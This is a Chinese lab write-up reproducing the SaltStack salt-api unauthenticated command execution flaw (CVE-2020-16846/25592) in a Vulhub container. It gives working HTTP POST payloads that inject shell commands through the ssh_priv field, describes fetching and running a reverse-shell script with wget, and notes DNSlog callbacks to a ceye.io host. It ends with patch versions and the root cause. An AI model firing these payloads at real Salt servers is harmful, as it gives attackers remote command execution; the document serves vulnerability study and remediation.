CVE-2020-16846_25592 (Saltstack未授权命令执行漏洞复现)

N 人看过

一、漏洞描述

        SaltStack是由thomas Hatch于2011年创建的一个开源项目,设计初衷是为了实现一个快速的远程执行系统。主要用于解决系统管理员日常会进行大量的重复性操作,例如安装软件,修改配置文件,创建用户,批量执行命令等等这些问题。
       CVE-2020-16846/25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。

二、环境搭建

Vulhub:https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
下载

git pull https://github.com/vulhub/vulhub.git

进入相关目录

cd saltstack/CVE-2020-16846/

启动容器

docker-compose up -d

查看启动的容器ID,获取容器ID,8cd

[root@localhost ~]# docker ps
CONTAINER ID        IMAGE                   COMMAND                  CREATED             STATUS              PORTS                                                                            NAMES
8cd55a7b3eca        vulhub/saltstack:3002   "/usr/bin/dumb-init …"   4 hours ago         Up 4 hours          0.0.0.0:4505-4506->4505-4506/tcp, 0.0.0.0:8000->8000/tcp, 0.0.0.0:2222->22/tcp   cve202016846_saltstack_1

进入启动的docker,8cd为获取的容器ID(可以不补全)

docker exec -it 8cd /bin/bash

三、POC测试

POST /run HTTP/1.1
Host: 192.168.43.180:8000
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

返回结果:
在这里插入图片描述
在容器内查看,成功创建success文件
在这里插入图片描述
尝试反弹shell,失败,还是老办法,wget下载了个.sh,要自己开个http服务:

在这里插入图片描述

里边写上反弹shell代码:
在这里插入图片描述
再赋权:


token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=/|chmod%20777%20.sh%3b

最后执行:
在这里插入图片描述
其实并不会成功,用sh .sh也不会成功,这里就不放图片了,其实该用的是token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=/|/bin/bash%20.sh%3b
在这里插入图片描述
很多时候可能不出网,导致无法反弹shell,可以使用DNSlog,Wget,Curl等方式
在这里插入图片描述

在这里插入图片描述

四、漏洞修复

        以下SaltStack版本存在补丁:

        3002
        3001.1、3001.2
        3000.3、3000.4
        2019.2.5、2019.2.6
        2018.3.5
        2017.7.4、2017.7.8
        2016.11.3、2016.11.6、2016.11.10
        2016.3.4、2016.3.6、2016.3.8
        2015.8.10、2015.8.13

        补丁下载地址( https://gitlab.com/saltstack/open/salt-patches

        若用户使用的是Salt的旧版本,请用户先升级到以上版本,再下载安装相应的安全补丁。

        注:修复漏洞前请将资料备份,并进行充分测试。

五、个人总结

        1、该漏洞的成因是由于subprocess的参数shell设置为了True,表示要调用系统shell执行命令,进而造成命令拼接,进行RCE。
        2、期间尝试执行ping命令/bin/bash%20ping%20v4hrzk.ceye.io%3b,或者ping%20v4hrzk.ceye.io%3b,都没有成功,但wget对ceye的DNS Query成功了,http Query没成功,还没搞懂问题出在那,还有更神奇的是,按照漏洞成因写个代码,确实能ping成功。
在这里插入图片描述

        3、复现环境下载的文件都在根目录下,所以aaa其实表示路径,所以执行.sh的时候要修改aaa为/,即为根目录下,复现环境文件下载是在根目录下。
        4、Accept: application/x-yaml类型的不同会导致不同的回显。

        由于环境、编码等问题,可能复现成功方式不尽相同,实际测试也是,还是需要多尝试。

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。